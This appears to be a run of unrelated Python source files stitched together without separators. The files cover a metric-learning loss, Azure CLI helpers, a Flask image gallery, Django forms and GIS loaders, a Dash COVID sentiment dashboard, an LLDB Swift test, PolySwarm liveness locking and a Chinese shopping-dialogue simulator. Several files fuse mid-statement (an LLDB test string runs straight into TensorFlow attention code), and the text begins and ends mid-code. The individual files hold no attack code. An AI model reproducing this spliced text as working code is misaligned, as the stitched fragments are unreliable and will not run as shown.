self.m - self.alpha), min=0.0) # neg_pair = torch.lt(neg_pair_, self.alpha) # neg_pair = neg_pair_[neg_pair] neg_pair = neg_pair_[neg_pair_ + self.margin > min(pos_pair_)] pos_pair = pos_pair_[pos_pair_ - self.margin < max(neg_pair_)] ap_pos_num = pos_pair.size(0) + 1e-5 if len(neg_pair) < 1 or len(pos_pair) < 1: continue # weighting step # pos_loss = 1.0 / self.scale_pos * torch.log( # 1 + torch.sum(torch.exp(-self.scale_pos * (pos_pair - self.thresh)))) # neg_loss = 1.0 / self.scale_neg * torch.log( # 1 + torch.sum(torch.exp(self.scale_neg * (neg_pair - self.thresh)))) # # weighting step # pos_loss = 1.0 / self.scale_pos * torch.log( # 1 + torch.sum(torch.exp(self.scale_pos * (pos_pair + (self.m - self.alpha))))) neg_loss = 1.0 / self.scale_neg * torch.log( 1 + torch.sum(torch.exp(-self.scale_neg * (neg_pair - self.alpha)))) pos_loss = 1.0 / ap_pos_num *torch.log( 1 + torch.sum(torch.exp(self.scale_pos * (pos_pair + (self.m - self.alpha))))) loss.append(pos_loss + neg_loss) if len(loss) == 0: return torch.zeros([], requires_grad=True) loss = sum(loss) / batch_size return loss # -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- from knack.util import CLIError def validate_volume_mount_path(ns): if ns.azure_file_volume_mount_path and ':' in ns.azure_file_volume_mount_path: raise CLIError("The Azure File volume mount path cannot container ':'") jpocentek/ch-gallerychgallery/image/__init__.py import os from PIL import Image as PILImage from flask import ( Blueprint, Response, abort, current_app, flash, g, send_from_directory, redirect, render_template, url_for ) from sqlalchemy.orm.exc import NoResultFound from werkzeug.utils import secure_filename from chgallery.auth.decorators import login_required from chgallery.db import get_db_session from chgallery.db.declarative import Image from chgallery.image.forms import UploadForm from chgallery.image.utils import smart_resize bp = Blueprint('image', __name__, url_prefix='/image') def get_unique_filename(filename): """ Create unique filename using given name to ensure that it's not already present in database. This method simply adds a counter to original filename. :param str filename: :rtype str: """ filename = secure_filename(filename) final_name = filename db_session = get_db_session() success = False retries = 0 while not success: try: db_session.query(Image).filter(Image.name == final_name).one() retries += 1 fname, ext = os.path.splitext(filename) final_name = '{}({}){}'.format(fname, retries, ext) except NoResultFound: success = True return final_name @bp.route('/upload', methods=('GET', 'POST')) @login_required def upload(): form = UploadForm() if form.validate_on_submit(): image = Image( name=get_unique_filename(form.image.data.filename), description=form.description.data, author_id=g.user.id, ) # Create normalized image and thumbnail img = PILImage.open(form.image.data) img = smart_resize(img) # Create new entry in database image.width, image.height = img.size db_session = get_db_session() db_session.add(image) db_session.commit() # Save both images - resized version and thumbnail img.save(os.path.join(current_app.config['UPLOAD_PATH'], image.name), img.format) img.thumbnail((250, 250)) img.save(os.path.join(current_app.config['UPLOAD_PATH'], 'thumbs', image.name), img.format) img.thumbnail((100, 100)) img.save(os.path.join(current_app.config['UPLOAD_PATH'], 'previews', image.name), img.format) flash('Image uploaded successfully', 'success') return redirect(url_for('auth.dashboard')) return render_template('image/upload.html', form=form) @bp.route('/delete/', methods=('POST',)) @login_required def delete(image_id): db_session = get_db_session() try: obj = db_session.query(Image).filter(Image.id == image_id).one() except NoResultFound: abort(404) if obj.author != g.user: abort(403) # Remove files associated with Image object instance os.unlink(os.path.join(current_app.config['UPLOAD_PATH'], obj.name)) os.unlink(os.path.join(current_app.config['UPLOAD_PATH'], 'thumbs', obj.name)) os.unlink(os.path.join(current_app.config['UPLOAD_PATH'], 'previews', obj.name)) # Remove Image instance from database db_session.delete(obj) db_session.commit() flash('Object removed', 'info') return redirect(url_for('auth.dashboard')) def display_uploaded_file(filename, dirname=None): path = current_app.config['UPLOAD_PATH'] if dirname is not None: path = os.path.join(path, dirname) with open(os.path.join(path, filename), 'rb') as fp: contents = fp.read() # TODO: Mime types return Response(contents, content_type='image/jpeg') @bp.route('/uploads/') def uploaded_file(filename): return display_uploaded_file(filename) @bp.route('/uploads/thumbs/') def uploaded_file_thumbnail(filename): return display_uploaded_file(filename, 'thumbs') @bp.route('/uploads/previews/') def uploaded_file_preview(filename): return display_uploaded_file(filename, 'previews') nataMamed/personal-assistent import json with open('credentials/weather-credentials.json','r') as weather_credentials: WEATHER_API_CREDENTIALS = json.load(weather_credentials)['apiKey'] print(WEATHER_API_CREDENTIALS)import os import json import logging from django.contrib.gis.gdal.geometries import Polygon as GDALPolygon from django.contrib.gis.gdal.geometries import MultiPolygon as GDALMultiPolygon from django.contrib.gis.geos import MultiPolygon from django.core.management import CommandError from django.contrib.gis.gdal import DataSource COMBINED_GEOJSON = os.path.join( os.path.dirname( os.path.dirname( os.path.dirname(__file__) # Folder with this file i.e 'commands' ) # Parent of folder where this file is i.e 'management' ), # The application folder itself i.e mfl_gis 'data/kenya_gis_formatted.json' ) LOGGER = logging.getLogger(__name__) def _get_features(feature_type): """Get 'counties', 'constituencies' or 'wards' features""" with open(COMBINED_GEOJSON) as f: combined = json.load(f) # Easier to comprehend than a nested list comprehension features = [] for feature in combined[feature_type]: try: features.extend( [feature for layer in DataSource(feature) for feature in layer] ) except: # Handle special cases in IEBC data LOGGER.error( 'Unable to process {} {}'.format(feature_type, feature)) continue return features def _get_mpoly_from_geom(geom): """Coerce polygons into multipolygons to get past GeoDjango validation""" if type(geom) == GDALPolygon: return MultiPolygon(geom.geos) elif type(geom) == GDALMultiPolygon: return geom.geos else: raise CommandError( 'Expected a Polygon or MultiPolygon, got {}'.format( type(geom) ) ) def _feature_has_ward_name(feature): """Because I am too lazy to monkey-patch feature [ GeoDjango ]""" try: return True if feature.get('Ward_Name') else False except: return False def _get_code_and_name(feature, name_field, code_field): """This exists solely for the purpose of handling 'special cases' i.e. compensating for inconsistencies in IEBC sourced GeoJSON """ # Special cases malformed_geojson_wards = [ { 'OBJECTID': 5763, 'Ward_Name': 'GITOTHUA', 'CODE': 569 }, { 'OBJECTID': 5763, 'Ward_Name': 'BIASHARA', 'CODE': 570 }, { 'OBJECTID': 3219, 'Ward_Name': 'GATONGORA', 'CODE': 571 }, { 'OBJECTID': 3219, 'Ward_Name': 'KAHAWA/SUKARI', 'CODE': 572 }, { 'OBJECTID': 3219, 'Ward_Name': '', 'CODE': 573 }, { 'OBJECTID': 3219, 'Ward_Name': 'KIUU', 'CODE': 574 }, { 'OBJECTID': 3219, 'Ward_Name': 'MWIKI', 'CODE': 575 }, { 'OBJECTID': 3219, 'Ward_Name': 'MWIHOKO', 'CODE': 576 } ] # Inefficient, but this is used in a one off operation for ward in malformed_geojson_wards: if ( _feature_has_ward_name(feature) and feature.get('OBJECTID') == ward['OBJECTID'] and feature.get('Ward_Name') == ward['Ward_Name'] ): return ward['CODE'], ward['Ward_Name'] return feature.get(code_field), feature.get(name_field) def _load_boundaries( feature_type, boundary_cls, admin_area_cls, name_field, code_field): """ A generic routine to load Kenyan geographic feature boundaries It is used for counties, constituencies and wards :param: feature_type - one of `ward`, `constituency` or `county` :param: boundary_cls - e.g `WardBoundary` :param: admin_area_cls e.g `Ward` :param: code_field e.g `COUNTY_A_1` contains the names of wards :param: name_field e.g `COUNTY_ASS` contains the ward codes """ errors = [] unsaved_instances = {} for feature in _get_features(feature_type): try: code, name = _get_code_and_name(feature, name_field, code_field) boundary = boundary_cls.objects.get(code=code, name=name) LOGGER.debug("Existing boundary for '{}'".format(boundary)) except boundary_cls.DoesNotExist: try: admin_area = admin_area_cls.objects.get(code=code) unsaved_instances[code] = boundary_cls( name=name, code=code, mpoly=_get_mpoly_from_geom(feature.geom), area=admin_area ) LOGGER.debug("ADDED boundary for '{}'".format(admin_area)) except admin_area_cls.DoesNotExist: errors.append( "{} {}:{} NOT FOUND".format(admin_area_cls, code, name)) if unsaved_instances: boundary_cls.objects.bulk_create(unsaved_instances.values()) if errors: raise CommandError('\n'.join(errors)) 1-10 """Data visualization using Dash and plotly express: https://dash.plotly.com""" import time import datetime from typing import Any import plotly.express as px import dash from dash import dcc from dash import html from dash.dependencies import Input, Output import dash_bootstrap_components as dbc import dash_daq as daq from util import data_loading from util import graph_updater # Using dbc for specific components: https://dash-bootstrap-components.opensource.faculty.ai app = dash.Dash(__name__, external_stylesheets=[dbc.themes.BOOTSTRAP, data_loading.read_style_sheet()],) app.title = "Pandemic's Impact on the Public Sentiment" # Data loading data_sets = data_loading.get_data() # App layout def row_builder(row_number: int) -> dbc.Row: """ Builds a standard row based on row_number Returns a dbc.Row object wi """ return html.Div([ dbc.Row( className="row", justify="around", children=[ dbc.Col( id=f"graph-{row_number}-column", className="column", width=11, children=[ html.H5( id=f"graph-{row_number}a-title", className="graph_title_text", ), dcc.Graph( id=f"graph-{row_number}", ), ], ), dbc.Col( id=f"graph-{row_number}-stats-column", className="column", width=11, children=[ html.H5( id=f"graph-{row_number}b-title", className="graph_title_text", ), dcc.Graph(id=f"graph-{row_number}-stats", style={"width": "auto"}), ], ), ], ), dbc.Row( className="config-row", children=[ html.H5( className="graph_title_text", children="Configuration", ), html.Br(), dbc.Col( children=[ html.P("Date Selection", className="general_text"), html.Div( id='date-select-div', children=[ dcc.DatePickerRange( id=f"date-{row_number}", className='date-select', minimum_nights=10, calendar_orientation='horizontal', min_date_allowed=datetime.datetime( 2020, 1, 1), max_date_allowed=datetime.datetime( 2021, 12, 31), start_date=datetime.datetime(2020, 6, 1), end_date=datetime.datetime(2021, 1, 1) ) ] ), ], ), html.Br(), dbc.Col( children=[ html.P("Show 7-Day Moving Avg", className="general_text"), daq.ToggleSwitch( id=f"case-{row_number}", className='switch', value=False, size=50 ), ] ), dbc.Col( children=[ html.P("Show Historic Cases", className="general_text"), daq.ToggleSwitch( id=f"historic-{row_number}", className='switch', value=False, size=50 ), ] ), html.Br(), ] ), html.Div( dbc.Spinner( html.Div(id=f"loading-output-{row_number}"), color="light" ) ), ], className="row-div" ) # initiate the row row1 = row_builder(1) divider = html.Div(style={"height": "100px"}) app.layout = html.Div( id="root", className="page_background", children=[ html.Div( id="body", className="body", children=[ html.H1( id="banner", className="top_banner", children=[ "Pandemic’s Impact on the Sentiment of the Public", ], ), html.Div( id="project-description", children=[ html.H5( className="intro_text", children=[ html.H5( "This project uses machine learning to analyse the \ sentiments of the public with respect to new daily cases." ), html.H5( "The data is collected from the comment sections from the\ New York Times, from Feburary 2020 to December 2021" ), html.H5(['Github: ', html.A('https://github.com/PierreLessard\ /Public-Morale-Over-Covid', href='https://github.com/PierreLessard\ /Public-Morale-Over-Covid', style={'color': 'white'})]), html.Br(), ], ), ], ), html.Br(), html.H3(className="graph_title_text", children="Machine Learning Model Loss vs. Iteration"), html.Div( dbc.Row(className="row", children=[graph_updater.update_main_graph(data_sets)], id="main-graph-container"), className='row-div' ), divider, row1, divider, ], ) ] ) # User interactions @app.callback( [ Output("graph-1a-title", "children"), Output("graph-1b-title", "children"), Output("graph-1", "figure"), Output("graph-1-stats", "figure"), ], [ Input("date-1", "start_date"), Input("date-1", "end_date"), Input("case-1", "value"), Input("historic-1", "value"), ], ) def update_graph(start_date: str, end_date: str, moving_avg: bool, historic: bool) -> tuple[px.line, px.line]: """A generic function that can be used to update all graphs based on user input Graphs are generated with util.graph_updater.generate_graph, which returns two plotly.express.line objects representing New Cases vs. Time and Sentiment vs. Time. The range of the data is from start_date to end_date Based on moving_avg and historic, traces of 7 day moving average and historical cases are added onto the graph. Returns a tuple containing the titile of the new graphs, and the new graph figures """ title_a = "New Cases vs. Time" title_b = "Sentiment vs. Time" graph_a, graph_b = graph_updater.generate_graph(data_sets, datetime.datetime.fromisoformat( start_date), datetime.datetime.fromisoformat( end_date), moving_avg, historic,) return title_a, title_b, graph_a, graph_b @app.callback( Output("loading-output-1", "children"), [ Input("date-1", "start_date"), Input("date-1", "end_date"), Input("case-1", "value"), Input("historic-1", "value"), ], ) def load_output_1(a: Any, b: Any, c: Any, d: Any) -> None: """ Animates the loading symbol """ if a or b or c or d: time.sleep(1) def run_app() -> None: """ Runs the app """ app.run_server(debug=True)packages/Python/lldbsuite/test/lang/swift/dwarfimporter/Objective-C/TestSwiftDWARFImporterObjC.py # TestSwiftDWARFImporterObjC.py # # This source file is part of the Swift.org open source project # # Copyright (c) 2014 - 2019 Apple Inc. and the Swift project authors # Licensed under Apache License v2.0 with Runtime Library Exception # # See https://swift.org/LICENSE.txt for license information # See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors # # ------------------------------------------------------------------------------ import lldb from lldbsuite.test.decorators import * import lldbsuite.test.lldbtest as lldbtest import lldbsuite.test.lldbutil as lldbutil import os import unittest2 class TestSwiftDWARFImporterObjC(lldbtest.TestBase): mydir = lldbtest.TestBase.compute_mydir(__file__) def build(self): include = self.getBuildArtifact('include') inputs = self.getSourcePath('Inputs') lldbutil.mkdir_p(include) import shutil for f in ['module.modulemap', 'objc-header.h']: shutil.copyfile(os.path.join(inputs, f), os.path.join(include, f)) super(TestSwiftDWARFImporterObjC, self).build() # Remove the header files to thwart ClangImporter. self.assertTrue(os.path.isdir(include)) shutil.rmtree(include) @skipUnlessDarwin @swiftTest def test_dwarf_importer(self): self.runCmd("settings set symbols.use-swift-dwarfimporter true") self.build() target, process, thread, bkpt = lldbutil.run_to_source_breakpoint( self, 'break here', lldb.SBFileSpec('main.swift')) lldbutil.check_variable(self, target.FindFirstGlobalVariable("pureSwift"), value="42") lldbutil.check_variable(self, target.FindFirstGlobalVariable("obj"), typename="Swift.Optional<__ObjC.ObjCClass>", num_children=0) self.expect("target var obj", substrs=["ObjCClass", "private_ivar", "42"]) # FIXME: This triggers an assertion in ClangImporter: # "ObjC property without getter" #self.expect("target var swiftChild", substrs=["ObjCClass", # "private_ivar", "42"]) # This is a Clang type, since Clang doesn't generate DWARF for protocols. self.expect("target var -d no-dyn proto", substrs=["(id)", "proto"]) # This is a Swift type. self.expect("target var -d run proto", substrs=["(ProtoImpl?)", "proto"]) self.expect("target var -O proto", substrs=["Baik", w_att_batched, attn_focus_transpose) g_score = g_score + b_att_batched g_score = tf.squeeze(g_score, axis=3) softmax_mask = tf.cast(b_att_mask, dtype=tf.bool) attn_weights = masked_softmax(logits=g_score, mask=softmax_mask) return ( attn_weights, # softmaxed attention vector g_score, # to optionally use for summary heatmaps ) import asyncio import dataclasses import json import os import logging import platform import tempfile from polyswarmclient.liveness.exceptions import LivenessReadError from polyswarmclient.liveness.liveness import LivenessCheck, Liveness, LivenessRecorder logger = logging.getLogger(__name__) class FileLock: """Locks a file so that only LivelinessRecorder or LivelinessChecker can access at any moment""" def __init__(self, fileno): self.fileno = fileno def acquire(self): if 'Windows' not in platform.system(): self.acquire_unix() else: self.acquire_windows() def release(self): if 'Windows' not in platform.system(): self.release_unix() # noinspection PyUnresolvedReferences def acquire_unix(self): from fcntl import lockf, LOCK_EX lockf(self.fileno, LOCK_EX) # noinspection PyUnresolvedReferences def acquire_windows(self): from msvcrt import locking, LK_LOCK locking(self.fileno, LK_LOCK, 1) # noinspection PyUnresolvedReferences def release_unix(self): from fcntl import lockf, LOCK_UN lockf(self.fileno, LOCK_UN) def __enter__(self): self.acquire() def __exit__(self, exc_type, exc_val, exc_tb): self.release() class LocalLivenessCheck(LivenessCheck): """Checks the liveness by reading a tempfile which should contain liveness information""" def __init__(self, loop_iteration_threshold=5, average_wait_threshold=10): self.path = os.path.join(tempfile.gettempdir(), 'liveness') super().__init__(loop_iteration_threshold, average_wait_threshold) def get_liveness(self): if not os.path.exists(self.path) or not os.path.isfile(self.path): raise LivenessReadError() with open(self.path, 'r+') as f: try: with FileLock(f.fileno()): content = f.read() logger.debug('Liveliness contents %s', content) return Liveness(**json.loads(content)) except OSError: logger.exception('Unable to lock file') raise LivenessReadError() def get_average_task_wait(self): pass class LocalLivenessRecorder(LivenessRecorder): """Record liveness data in a tempfile""" def __init__(self): self.path = os.path.join(tempfile.gettempdir(), 'liveness') super().__init__() async def record(self): asyncio.get_event_loop().create_task(self.write_async()) async def write_async(self): """Get the json format of Liveliness, and write to the file""" loop = asyncio.get_event_loop() await loop.run_in_executor(None, self.write_sync, json.dumps(dataclasses.asdict(self.liveness))) def write_sync(self, content): """ Write the given content to the file at the given path. Args: content: content to write into the file """ with open(self.path, 'w') as f: try: with FileLock(f.fileno()): f.write(content) except OSError: logger.exception('Unable to lock file') src/account/forms.py from django import forms from django.contrib.admin import widgets from account.models import User, Profile from bootstrap_datepicker.widgets import DatePicker class ProfileEdit(forms.ModelForm): def __init__(self, *args, **kwargs): super(ProfileEdit, self).__init__(*args, **kwargs) user = kwargs.get('instance') profile = Profile.objects.get(user_id=user.id) self.fields['date_of_birth'].initial = profile.date_of_birth self.fields['biography'].initial = profile.biography self.fields['contacts'].initial = profile.contacts date_of_birth = forms.DateField( widget=DatePicker( options={ "format": "yyyy-mm-dd", "autoclose": True } ) ) biography = forms.CharField(widget=forms.Textarea(), required=False) contacts = forms.CharField(widget=forms.Textarea(), required=False) password = forms.CharField(widget=forms.PasswordInput()) password2 = forms.CharField(widget=forms.PasswordInput(), required=False) class Meta: model = User fields = ('email', 'username', 'password', 'biography', 'contacts', 'date_of_birth') def clean(self): cleaned_data = super().clean() if not self.errors: if cleaned_data['password'] and cleaned_data['password2']: if cleaned_data['password'] != cleaned_data['password2']: raise forms.ValidationError('Passwords do not match!') return cleaned_data def save(self, commit=True): user = super().save(commit=False) # no save to database user.set_password(self.cleaned_data['password']) # password should be hashed! user.save(update_fields=['password', 'email', 'first_name', 'last_name']) profile = Profile.objects.get(user_id=user.id) profile.ip = self.instance.ip profile.biography = self.cleaned_data['biography'] profile.contacts = self.cleaned_data['contacts'] profile.date_of_birth = self.cleaned_data['date_of_birth'] profile.save(update_fields=['biography', 'contacts', 'date_of_birth', 'ip']) return user pjeanjean/dakara-player from dakara_player_vlc.commands import play play.main() src/reservations/azext_reservations/generated/action.py0 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- # pylint: disable=protected-access import argparse from collections import defaultdict from knack.util import CLIError class AddProperties(argparse.Action): def __call__(self, parser, namespace, values, option_string=None): action = self.get_action(values, option_string) namespace.properties = action def get_action(self, values, option_string): # pylint: disable=no-self-use try: properties = defaultdict(list) for (k, v) in (x.split('=', 1) for x in values): properties[k].append(v) properties = dict(properties) except ValueError: raise CLIError('usage error: {} [KEY=VALUE ...]'.format(option_string)) d = {} for k in properties: kl = k.lower() v = properties[k] if kl == 'scopes': d['scopes'] = v else: raise CLIError('Unsupported Key {} is provided for parameter properties. All possible keys are: scopes' .format(k)) return d class AddReservationsToPurchase(argparse._AppendAction): def __call__(self, parser, namespace, values, option_string=None): action = self.get_action(values, option_string) super(AddReservationsToPurchase, self).__call__(parser, namespace, action, option_string) def get_action(self, values, option_string): # pylint: disable=no-self-use try: properties = defaultdict(list) for (k, v) in (x.split('=', 1) for x in values): properties[k].append(v) properties = dict(properties) except ValueError: raise CLIError('usage error: {} [KEY=VALUE ...]'.format(option_string)) d = {} d['renew'] = False for k in properties: kl = k.lower() v = properties[k] if kl == 'location': d['location'] = v[0] elif kl == 'reserved-resource-type': d['reserved_resource_type'] = v[0] elif kl == 'billing-scope-id': d['billing_scope_id'] = v[0] elif kl == 'term': d['term'] = v[0] elif kl == 'billing-plan': d['billing_plan'] = v[0] elif kl == 'quantity': d['quantity'] = v[0] elif kl == 'display-name': d['display_name'] = v[0] elif kl == 'applied-scope-type': d['applied_scope_type'] = v[0] elif kl == 'applied-scopes': d['applied_scopes'] = v elif kl == 'renew': d['renew'] = v[0] elif kl == 'instance-flexibility': d['instance_flexibility'] = v[0] elif kl == 'name': d['name'] = v[0] else: raise CLIError('Unsupported Key {} is provided for parameter reservations_to_purchase. All possible ' 'keys are: location, reserved-resource-type, billing-scope-id, term, billing-plan, ' 'quantity, display-name, applied-scope-type, applied-scopes, renew, ' 'instance-flexibility, name'.format(k)) return d class AddReservationsToExchange(argparse._AppendAction): def __call__(self, parser, namespace, values, option_string=None): action = self.get_action(values, option_string) super(AddReservationsToExchange, self).__call__(parser, namespace, action, option_string) def get_action(self, values, option_string): # pylint: disable=no-self-use try: properties = defaultdict(list) for (k, v) in (x.split('=', 1) for x in values): properties[k].append(v) properties = dict(properties) except ValueError: raise CLIError('usage error: {} [KEY=VALUE ...]'.format(option_string)) d = {} for k in properties: kl = k.lower() v = properties[k] if kl == 'reservation-id': d['reservation_id'] = v[0] elif kl == 'quantity': d['quantity'] = v[0] else: raise CLIError('Unsupported Key {} is provided for parameter reservations_to_exchange. All possible ' 'keys are: reservation-id, quantity'.format(k)) return d src/utils/suning_tree_simulator.py1-10 import sys import os import numpy as np parentdir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) sys.path.insert(0, parentdir) from kernel.belief_tracker import BeliefTracker from graph.belief_graph import Graph import memory.config as m_config from utils.translator import Translator grandfatherdir = os.path.dirname(os.path.dirname( os.path.dirname(os.path.abspath(__file__)))) sys.path.append(parentdir) sys.path.append(grandfatherdir) dir_path = os.path.dirname(os.path.realpath(__file__)) sys.path.insert(0, parentdir) translator = Translator() class TreeSimilator: def __init__(self, config): self.belief_tracker = BeliefTracker(config) self._load_template(config) def _load_template(self, config): template_file = config['template'] self.field_trans = dict() self.quantum = dict() self.unit = dict() self.thesaurus = dict() with open(template_file, 'r') as tf: for line in tf: line = line.strip('\n') parsers = line.split('|') if parsers[0] == 'prefix_buy': self.prefix_buy = parsers[1].split('/') if parsers[0] == 'prefix_buy_root': self.prefix_buy_root = parsers[1].split('/') if parsers[0] == 'prefix_deny': self.prefix_deny = parsers[1].split('/') if parsers[0] == 'modifier_query_cateory_location': self.modifier_query_cateory_location = parsers[1].split('/') if parsers[0] == 'prefix_price': self.prefix_price = parsers[1].split('/') if parsers[0] == 'prefix_brand': self.prefix_brand = parsers[1].split('/') if parsers[0] == 'postfix_price': self.postfix_price = parsers[1].split('/') if parsers[0] == 'postfix_brand': self.postfix_brand = parsers[1].split('/') if parsers[0] == 'postfix': self.postfix = parsers[1].split('/') if parsers[0] == 'field_trans': self.field_trans[parsers[1]] = parsers[2].split('/') if parsers[0] == 'quantum': self.quantum[parsers[1]] = parsers[2].split('/') if parsers[0] == 'unit': self.unit[parsers[1]] = parsers[2].split('/') if parsers[0] == 'thesaurus': self.thesaurus[parsers[1]] = parsers[2].split('/')[:] + [parsers[1]] def gen_sessions(self, output_files): """ :param belief_tracker: :param output_files: candidate_files, train, val, test :return: """ belief_graph = self.belief_tracker.belief_graph """ 主要逻辑 :return: """ def gen_random_slot_values(required_field): slot_values_mapper = dict() num_rnd_external_max = 2 if required_field == 'virtual_category': nodes = belief_graph.get_nodes_by_slot(required_field) # choose one node = np.random.choice(nodes) slot_values_mapper[node.slot] = node.value return slot_values_mapper if required_field == 'category': if self.belief_tracker.search_node == belief_graph: nodes = belief_graph.get_nodes_by_slot(required_field) node = np.random.choice(nodes) else: children_names = self.belief_tracker.search_node.get_children_names_by_slot( required_field) # choose one name = np.random.choice(children_names) slot = self.belief_tracker.search_node.get_slot_by_value( name) slot_values_mapper[slot] = name node = self.belief_tracker.search_node.get_node_by_value( name) slot_values_mapper[node.slot] = node.value fields = list(node.fields.keys()) if 'ac.power' in fields: fields.remove('ac.power') fields.append('ac.power_float') n = np.random.randint( 0, np.min([len(fields), num_rnd_external_max]) + 1) # fields = list(belief_tracker.requested_slots) picked_fields = np.random.choice(fields, n).tolist() # picked_fields = set() # for i in range(n): # if np.random.uniform() < 0.25 and 'brand' in fields: # picked_fields.add('brand') # continue # if 'brand' in picked_fields and np.random.uniform() < 0.1: # picked_fields.add(np.random.choice(fields)) for f in picked_fields: value = random_property_value(f, node) # weird if value != 'range' and belief_graph.is_entity_value(value): slot_values_mapper['entity'] = value else: slot_values_mapper[f] = value return slot_values_mapper my_search_node = self.belief_tracker.search_node fields = list(self.belief_tracker.requested_slots) n = np.random.randint( 0, np.min([len(fields), num_rnd_external_max]) + 1) picked_fields = np.random.choice(fields, n).tolist() # append required fields picked_fields.append(required_field) picked_fields = set(picked_fields) for f in picked_fields: value = random_property_value(f, my_search_node) # weird if value != 'range' and belief_graph.is_entity_value(value): slot_values_mapper['entity'] = value else: slot_values_mapper[f] = value return slot_values_mapper def gen_ambiguity_response(availables): availables = availables[0].replace( 'api_call_request_ambiguity_removal_', '').split(",") pick = np.random.choice(availables) slot_values_mapper = dict() num_rnd_external_max = 1 if len(belief_graph.get_nodes_by_value(pick)) > 0: slot_values_mapper[belief_graph.get_nodes_by_value(pick)[ 0].slot] = pick else: slot_values_mapper['ambiguity_removal'] = belief_graph.slots_trans[pick] # my_search_node = belief_tracker.ambiguity_slots[pick].parent_node # # fields = list(my_search_node.fields.keys()) # n = np.random.randint(0, np.min([len(fields), num_rnd_external_max]) + 1) # # picked_fields = np.random.choice(fields, n).tolist() # # append required fields # # picked_fields.append(required_field) # for f in picked_fields: # value = random_property_value(f, my_search_node) # slot_values_mapper[f] = value return slot_values_mapper def render_rhetorical(slot): """ 'user': { 'brand': ['你们这都有什么牌子？', '品牌都有哪些？'], 'category': ['你们这儿都卖什么种类？', '种类都有哪些？'], 'price': ['都有哪些价格？', '都有什么价啊？'] }, :param slot: :return: """ template = ["你们这都有什么", "都有哪些", "你们这儿都卖什么", '你有什么', '你有哪些'] trans = belief_graph.slots_trans[slot] t = np.random.choice(template) if np.random.uniform() < 0.5: t = t.replace("", trans) else: t = t.replace("", "") cls = "api_call_rhetorical_" + slot return t, cls def gen_ambiguity_initial(): slot_values_mapper = dict() nodes_value_list = list( self.belief_tracker.belief_graph.node_header.keys()) property_flag = False while True: key = np.random.choice(nodes_value_list) nodes = self.belief_tracker.belief_graph.get_nodes_by_value( key) if len(nodes) == 1 or not belief_graph.is_entity_value(key): node = nodes[0] if node.slot == 'category' or node.slot == 'virtual_category': continue property_flag = True # other property must identity category slot_values_mapper[node.slot] = node.value break slot_values_mapper['entity'] = key break if np.random.uniform() < 0.25 or property_flag: node = np.random.choice(nodes) slot_values_mapper[node.parent_node.slot] = node.parent_node.value # slot_values_mapper.clear() # slot_values_mapper['entity'] = '4G' return slot_values_mapper def random_property_value(field, search_node): if field == 'price': value = 'range' # if np.random.uniform() < 0.3: # if np.random.uniform() < 0.5: # value += '元' # else: # value += '块' return value # if field == 'ac.power': # value = 'range' # # if np.random.uniform() < 0.5: # value += 'P' # else: # value += '匹' # # return value if field == 'ambiguity_removal': value = np.random.choice( list(self.belief_tracker.ambiguity_slots.keys())) # nodes = belief_graph.get_nodes_by_value(value) # if len(nodes) > 0: # slot = nodes[0].slot # del slot_values_mapper[field] # slot_values_mapper[slot] = value return value if belief_graph.get_field_type(field) == 'range': # return search_node.get_node_slot_trans(field) + 'range' return 'range' else: return np.random.choice(search_node.get_children_names_by_slot(field)) def get_avail_brands(category): category_node = belief_graph.get_nodes_by_value(category)[0] brands = category_node.get_children_names_by_slot('brand') return brands def get_requested_field(): requested = np.random.choice( ['virtual_category', 'category', 'property', 'ambiguity_removal'], p=[0.1, 0.8, 0.1, 0]) return requested def render_thesaurus(v): if v in self.thesaurus: v = np.random.choice(self.thesaurus[v]) return v def render_lang(slot_values_mapper, fresh): def render_template(key, replace): append = np.random.choice(self.field_trans[key])\ .replace('<{}>'.format(key), replace) return append search_node = self.belief_tracker.search_node prefix = self.prefix_buy postfix = self.postfix lang = np.random.choice(prefix) if 'brand' in slot_values_mapper: lang += render_template('brand', slot_values_mapper['brand']) if 'price' in slot_values_mapper: unit = np.random.choice(self.unit['price']) with_unit = slot_values_mapper['price'] + unit lang += render_template('price', with_unit) if 'category' in slot_values_mapper: v = slot_values_mapper['category'] quantum = '' syn = v if v in self.quantum: quantum = np.random.choice(self.quantum[v]) if v in self.thesaurus: syn = np.random.choice(self.thesaurus[v]) v = quantum + syn lang += v + "," for k, v in slot_values_mapper.items(): if k in ['brand', 'price', 'category']: continue if k not in ['entity', 'ambiguity_removal'] and belief_graph.get_field_type(k) == 'range': trans = search_node.get_node_slot_trans(k) if fresh or 'range' in lang: lang += trans + 'range' unit = np.random.choice(self.unit[k]) lang += unit else: lang += trans + 'range' unit = np.random.choice(self.unit[k]) lang += unit else: quantum = '' syn = v if v in self.quantum: quantum = np.random.choice(self.quantum['v']) if v in self.thesaurus: syn = np.random.choice(self.thesaurus[v]) v = quantum + syn lang += v + "," if lang[-1] == ',': lang = lang[0:-1] lang = lang + np.random.choice(postfix) lang = lang.lower() if 'root' in lang: lang = np.random.choice(self.prefix_buy_root) return lang def render_cls(slot_values_mapper): params = [] for key in sorted(slot_values_mapper.keys()): params.append(key + ":" + slot_values_mapper[key]) line = 'api_call_slot_' + ','.join(params) if line == 'api_call_slot_virtual_category:root': line = 'api_call_query_general' return line def render_api(api): return api[0] def render_deny(): prefix = np.random.choice(self.prefix_deny) lang = prefix cls = 'api_call_deny_all' if 'brand' in self.belief_tracker.filling_slots: if np.random.uniform() < 0.7: lang += self.belief_tracker.filling_slots['brand'] cls = 'api_call_deny_brand' return lang, cls, 'placeholder' requested = get_requested_field() i = 0 # thesaurus = dict() # with open('../../data/gen_product/thesaurus.txt', 'r') as f: # for line in f: # line = line.strip('\n') # key, value = line.split('#') # thesaurus[key] = value.split(',') candidates = set() api_set = set() train_set = [] test_set = [] val_set = [] train_gbdt = set() container = [] flow_container = [] single_container = [] duplicate_removal = set() flow_removal = set() flows = list() mapper = {'train': train_set, 'val': val_set, 'test': test_set} which = np.random.choice(['train', 'val', 'test'], p=[0.8, 0.1, 0.1]) fresh = True mlt_container = [] mlt_candidates = [] with_multiple = False with_qa = True with_deny = False with_whatever = False with_flow = True with_base = False with_gbdt = 